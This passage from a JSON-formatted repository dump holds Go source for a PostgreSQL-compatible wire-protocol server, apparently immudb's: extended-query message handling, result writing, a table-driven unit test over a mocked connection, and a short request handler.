zeroes\n\t\t\t// in this case.\n\t\t\tif v.DescType == \"S\" {\n\t\t\t\tst, ok := s.statements[v.Name]\n\t\t\t\tif !ok {\n\t\t\t\t\twaitForSync = extQueryMode\n\t\t\t\t\ts.HandleError(fmt.Errorf(\"statement '%s' not found\", v.Name))\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif _, err = s.writeMessage(bm.ParameterDescription(st.Params)); err != nil {\n\t\t\t\t\twaitForSync = extQueryMode\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif _, err := s.writeMessage(bm.RowDescription(st.Results, nil)); err != nil {\n\t\t\t\t\twaitForSync = extQueryMode\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\t// The Describe message (portal variant) specifies the name of an existing portal (or an empty string\n\t\t\t// for the unnamed portal). The response is a RowDescription message describing the rows that will be\n\t\t\t// returned by executing the portal; or a NoData message if the portal does not contain a query that\n\t\t\t// will return rows; or ErrorResponse if there is no such portal.\n\t\t\tif v.DescType == \"P\" {\n\t\t\t\tportal, ok := s.portals[v.Name]\n\t\t\t\tif !ok {\n\t\t\t\t\twaitForSync = extQueryMode\n\t\t\t\t\ts.HandleError(fmt.Errorf(\"portal '%s' not found\", v.Name))\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif _, err = s.writeMessage(bm.RowDescription(portal.Statement.Results, portal.ResultColumnFormatCodes)); err != nil {\n\t\t\t\t\twaitForSync = extQueryMode\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\tcase fm.SyncMsg:\n\t\t\twaitForSync = false\n\t\t\ts.writeMessage(bm.ReadyForQuery())\n\t\tcase fm.BindMsg:\n\t\t\t_, ok := s.portals[v.DestPortalName]\n\t\t\t// unnamed portal overrides previous\n\t\t\tif ok && v.DestPortalName != \"\" {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t\ts.HandleError(fmt.Errorf(\"portal '%s' already present\", v.DestPortalName))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tst, ok := s.statements[v.PreparedStatementName]\n\t\t\tif !ok {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t\ts.HandleError(fmt.Errorf(\"statement '%s' not found\", v.PreparedStatementName))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tencodedParams, err := buildNamedParams(st.Params, v.ParamVals)\n\t\t\tif err != nil {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t\ts.HandleError(err)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif _, err = s.writeMessage(bm.BindComplete()); err != nil {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tnewPortal := &portal{\n\t\t\t\tName:                    v.DestPortalName,\n\t\t\t\tStatement:               st,\n\t\t\t\tParameters:              encodedParams,\n\t\t\t\tResultColumnFormatCodes: v.ResultColumnFormatCodes,\n\t\t\t}\n\n\t\t\ts.portals[v.DestPortalName] = newPortal\n\t\tcase fm.Execute:\n\t\t\t//query execution\n\t\t\tportal, ok := s.portals[v.PortalName]\n\t\t\tif !ok {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t\ts.HandleError(fmt.Errorf(\"portal '%s' not found\", v.PortalName))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdelete(s.portals, v.PortalName)\n\n\t\t\terr := s.fetchAndWriteResults(portal.Statement.SQLStatement,\n\t\t\t\tportal.Parameters,\n\t\t\t\tportal.ResultColumnFormatCodes,\n\t\t\t\textQueryMode,\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t\ts.HandleError(err)\n\t\t\t}\n\t\tcase fm.FlushMsg:\n\t\t\t// there is no buffer to be flushed\n\t\tdefault:\n\t\t\twaitForSync = extQueryMode\n\t\t\ts.HandleError(pserr.ErrUnknowMessageType)\n\t\t}\n\t}\n}\n\nfunc (s *session) fetchAndWriteResults(statements string, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, extQueryMode bool) error {\n\tif s.isInBlackList(statements) {\n\t\t_, err := s.writeMessage(bm.CommandComplete([]byte(\"ok\")))\n\t\treturn err\n\t}\n\n\tif i := s.isEmulableInternally(statements); i != nil {\n\t\tif err := s.tryToHandleInternally(i); err != nil && err != pserr.ErrMessageCannotBeHandledInternally {\n\t\t\treturn err\n\t\t}\n\n\t\t_, err := s.writeMessage(bm.CommandComplete([]byte(\"ok\")))\n\t\treturn err\n\t}\n\n\tstmts, err := sql.ParseSQL(\n\t\tstrings.NewReader(\n\t\t\tremovePGCatalogReferences(statements),\n\t\t),\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, stmt := range stmts {\n\t\tswitch st := stmt.(type) {\n\t\tcase *sql.UseDatabaseStmt:\n\t\t\t{\n\t\t\t\treturn pserr.ErrUseDBStatementNotSupported\n\t\t\t}\n\t\tcase *sql.SelectStmt:\n\t\t\tif err = s.query(st, parameters, resultColumnFormatCodes, extQueryMode); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tdefault:\n\t\t\tif err = s.exec(st, parameters, resultColumnFormatCodes, extQueryMode); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\t_, err = s.writeMessage(bm.CommandComplete([]byte(\"ok\")))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc removePGCatalogReferences(sql string) string {\n\treturn strings.ReplaceAll(sql, \"pg_catalog.\", \"\")\n}\n\nfunc (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error {\n\ttx, err := s.sqlTx()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treader, err := s.db.SQLQueryPrepared(s.ctx, tx, st, schema.NamedParamsFromProto(parameters))\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer reader.Close()\n\n\tcols, err := reader.Columns(s.ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !skipRowDesc {\n\t\tif _, err = s.writeMessage(bm.RowDescription(cols, nil)); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn sql.ReadRowsBatch(s.ctx, reader, maxRowsPerMessage, func(rowBatch []*sql.Row) error {\n\t\t_, err := s.writeMessage(bm.DataRow(rowBatch, len(cols), resultColumnFormatCodes))\n\t\treturn err\n\t})\n}\n\nfunc (s *session) exec(st sql.SQLStmt, namedParams []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error {\n\tparams := make(map[string]interface{}, len(namedParams))\n\n\tfor _, p := range namedParams {\n\t\tparams[p.Name] = schema.RawValue(p.Value)\n\t}\n\n\ttx, err := s.sqlTx()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tntx, _, err := s.db.SQLExecPrepared(s.ctx, tx, []sql.SQLStmt{st}, params)\n\ts.tx = ntx\n\n\treturn err\n}\n\ntype portal struct {\n\tName                    string\n\tStatement               *statement\n\tParameters              []*schema.NamedParam\n\tResultColumnFormatCodes []int16\n}\n\ntype statement struct {\n\tName         string\n\tSQLStatement string\n\tPreparedStmt sql.SQLStmt\n\tParams       []sql.ColDescriptor\n\tResults      []sql.ColDescriptor\n}\n\nfunc (s *session) inferParamAndResultCols(stmt sql.SQLStmt) ([]sql.ColDescriptor, []sql.ColDescriptor, error) {\n\tvar resCols []sql.ColDescriptor\n\n\tsel, ok := stmt.(*sql.SelectStmt)\n\tif ok {\n\t\trr, err := s.db.SQLQueryPrepared(s.ctx, s.tx, sel, nil)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tresCols, err = rr.Columns(s.ctx)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\trr.Close()\n\t}\n\n\tr, err := s.db.InferParametersPrepared(s.ctx, s.tx, stmt)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tif len(r) > math.MaxInt16 {\n\t\treturn nil, nil, pserr.ErrMaxParamsNumberExceeded\n\t}\n\n\tvar paramsNameList []string\n\tfor n := range r {\n\t\tparamsNameList = append(paramsNameList, n)\n\t}\n\tsort.Strings(paramsNameList)\n\n\tparamCols := make([]sql.ColDescriptor, 0)\n\tfor _, n := range paramsNameList {\n\t\tparamCols = append(paramCols, sql.ColDescriptor{Column: n, Type: r[n]})\n\t}\n\treturn paramCols, resCols, nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/query_machine_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/bmessages\"\n\th \"github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSession_QueriesMachine(t *testing.T) {\n\tvar tests = []struct {\n\t\tname       string\n\t\tin         func(conn net.Conn)\n\t\tout        error\n\t\tportals    map[string]*portal\n\t\tstatements map[string]*statement\n\t}{\n\t\t{\n\t\t\tname: \"unsupported message\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//unsupported message\n\t\t\t\tc2.Write([]byte(\"_\"))\n\t\t\t\tunsupported := make([]byte, 500)\n\t\t\t\tc2.Read(unsupported)\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"fail first ready for query message\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: errors.New(\"io: read/write on closed pipe\"),\n\t\t},\n\t\t{\n\t\t\tname: \"connection is closed\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"wait for sync\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//parse message\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set test\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('B', h.Join([][]byte{h.S(\"port\"), h.S(\"wrong_st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)})))\n\t\t\t\terrst := make([]byte, 500)\n\t\t\t\tc2.Read(errst)\n\t\t\t\tc2.Write(h.Msg('B', h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)})))\n\t\t\t\tc2.Write(h.Msg('S', []byte{0}))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t// Terminate message\n\t\t\t\tc2.Write(h.Msg('X', []byte{0}))\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"error on parse-infer parameters\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//parse message\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"wrong statement\"), h.I16(1), h.I32(0)})))\n\t\t\t\terrst := make([]byte, 500)\n\t\t\t\tc2.Read(errst)\n\t\t\t\t// Terminate message\n\t\t\t\tc2.Write(h.Msg('X', []byte{0}))\n\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"statement already present\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set test\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//parse message\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set test\"), h.I16(1), h.I32(0)})))\n\t\t\t\terrst := make([]byte, 500)\n\t\t\t\tc2.Read(errst)\n\t\t\t\t// Terminate message\n\t\t\t\tc2.Write(h.Msg('X', []byte{0}))\n\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"error on parse complete\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//parse message\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set test\"), h.I16(1), h.I32(0)})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"describe S statement not found\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set test\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('D', h.Join([][]byte{{'S'}, h.S(\"wrong st\")})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"describe S ParameterDescription error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set test\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('D', h.Join([][]byte{{'S'}, h.S(\"st\")})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"describe S RowDescription error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set test\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('D', h.Join([][]byte{{'S'}, h.S(\"st\")})))\n\t\t\t\trowDescription := make([]byte, len(bmessages.ParameterDescription(nil)))\n\t\t\t\tc2.Read(rowDescription)\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"describe P portal not found\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set test\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('D', h.Join([][]byte{{'P'}, h.S(\"port\")})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"describe P row desc error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//parse message\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\";\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('B', h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)})))\n\t\t\t\tbindComplete := make([]byte, len(bmessages.BindComplete()))\n\t\t\t\tc2.Read(bindComplete)\n\t\t\t\tc2.Write(h.Msg('S', []byte{0}))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('D', h.Join([][]byte{{'P'}, h.S(\"port\")})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"sync error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('S', []byte{0}))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"query results error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('Q', h.S(\"_wrong_\")))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"query command complete error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('Q', h.S(\"set test\")))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"query command ready for query error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('Q', h.S(\"set test\")))\n\t\t\t\tcc := make([]byte, len(bmessages.CommandComplete([]byte(`ok`))))\n\t\t\t\tc2.Read(cc)\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"bind portal already present error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//parse message\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set test\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('B', h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)})))\n\t\t\t\tbindComplete := make([]byte, len(bmessages.BindComplete()))\n\t\t\t\tc2.Read(bindComplete)\n\t\t\t\tc2.Write(h.Msg('B', h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)})))\n\t\t\t\tbindComplete = make([]byte, len(bmessages.BindComplete()))\n\t\t\t\tc2.Read(bindComplete)\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"bind named param error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('B', h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t\tstatements: map[string]*statement{\n\t\t\t\t\"st\": {\n\t\t\t\t\tName:         \"st\",\n\t\t\t\t\tSQLStatement: \"test\",\n\t\t\t\t\tPreparedStmt: nil,\n\t\t\t\t\tParams: []sql.ColDescriptor{{\n\t\t\t\t\t\tColumn: \"test\",\n\t\t\t\t\t\tType:   \"INTEGER\",\n\t\t\t\t\t}},\n\t\t\t\t\tResults: nil,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"bind complete error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//parse message\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set set\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('B', h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"execute write result error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('E', h.Join([][]byte{h.S(\"port\"), h.I32(1)})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t\tportals: map[string]*portal{\n\t\t\t\t\"port\": {\n\t\t\t\t\tStatement: &statement{\n\t\t\t\t\t\tSQLStatement: \"test\",\n\t\t\t\t\t},\n\t\t\t\t\tParameters: []*schema.NamedParam{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"test\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tResultColumnFormatCodes: []int16{1},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"execute command complete error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//parse message\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set set\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('B', h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)})))\n\t\t\t\tbindComplete := make([]byte, len(bmessages.BindComplete()))\n\t\t\t\tc2.Read(bindComplete)\n\t\t\t\tc2.Write(h.Msg('E', h.Join([][]byte{h.S(\"port\"), h.I32(1)})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"execute command complete error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\t//parse message\n\t\t\t\tc2.Write(h.Msg('P', h.Join([][]byte{h.S(\"st\"), h.S(\"set set\"), h.I16(1), h.I32(0)})))\n\t\t\t\tready4Query = make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('B', h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)})))\n\t\t\t\tbindComplete := make([]byte, len(bmessages.BindComplete()))\n\t\t\t\tc2.Read(bindComplete)\n\t\t\t\tc2.Write(h.Msg('E', h.Join([][]byte{h.S(\"port\"), h.I32(1)})))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"version info error\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('Q', h.S(\"select version()\")))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"flush\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('H', nil))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"schema info\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('Q', h.S(\"select current_schema()\")))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t\t{\n\t\t\tname: \"table help\",\n\t\t\tin: func(c2 net.Conn) {\n\t\t\t\tready4Query := make([]byte, len(bmessages.ReadyForQuery()))\n\t\t\t\tc2.Read(ready4Query)\n\t\t\t\tc2.Write(h.Msg('Q', h.S(tableHelpPrefix)))\n\t\t\t\tc2.Close()\n\t\t\t},\n\t\t\tout: nil,\n\t\t},\n\t}\n\n\tfor i, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"qm scenario %d: %s\", i, tt.name), func(t *testing.T) {\n\n\t\t\tc1, c2 := net.Pipe()\n\n\t\t\tmr := &messageReader{\n\t\t\t\tconn: c1,\n\t\t\t}\n\n\t\t\ts := session{\n\t\t\t\tlog:        logger.NewSimpleLogger(\"test\", os.Stdout),\n\t\t\t\tmr:         mr,\n\t\t\t\tstatements: make(map[string]*statement),\n\t\t\t\tportals:    make(map[string]*portal),\n\t\t\t\tdb:         &mockDB{},\n\t\t\t}\n\n\t\t\tif tt.statements != nil {\n\t\t\t\ts.statements = tt.statements\n\t\t\t}\n\t\t\tif tt.portals != nil {\n\t\t\t\ts.portals = tt.portals\n\t\t\t}\n\t\t\tgo tt.in(c2)\n\n\t\t\terr := s.QueryMachine()\n\n\t\t\trequire.Equal(t, tt.out, err)\n\t\t})\n\t}\n}\n\ntype mockDB struct {\n\tdatabase.DB\n}\n\nfunc (db *mockDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) {\n\treturn nil, fmt.Errorf(\"dummy error\")\n}\n"
  },
  {
    "path": "pkg/pgsql/server/request_handler.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"net\"\n)\n\nfunc (s *pgsrv) handleRequest(ctx context.Context, conn net.Conn) (err error) {\n\tss := s.newSession(conn)\n\tdefer ss.Close()\n\n\terr = ss.InitializeSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = ss.HandleStartup(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// https://www.postgresql.org/docs/current/protocol-flow.html#id-1.10.5.7.4\n\treturn ss.QueryMachine()\n}\n"
  },
  {
    "path": "pkg/pgsql/server/server.go",
